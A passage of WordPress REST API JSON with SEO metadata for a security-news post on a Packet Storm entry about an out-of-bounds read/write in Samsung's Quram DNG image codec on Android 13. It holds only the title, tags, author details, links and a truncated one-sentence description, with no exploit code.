Corruption_PACKETSTORM:212320\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28305","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:41:15&#8243;,&#8221;description&#8221;:&#8221;An out-of-bounds read\/write vulnerability in Samsung&#8217;s Quram image codec library libimagecodec.quram.so is triggered when the library processes a maliciously crafted image file, causing memory access...","og_url":"https:\/\/zero.redgem.net\/?p=28305","og_site_name":"zero redgem","article_published_time":"2025-12-02T15:33:19+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28305#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28305"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320","datePublished":"2025-12-02T15:33:19+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28305"},"wordCount":1685,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28305#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28305","url":"https:\/\/zero.redgem.net\/?p=28305","name":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-02T15:33:19+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28305#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28305"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28305#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Android\u202f13 Quram DNG Codec Memory Corruption_PACKETSTORM:212320"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28305"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28305\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28305"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}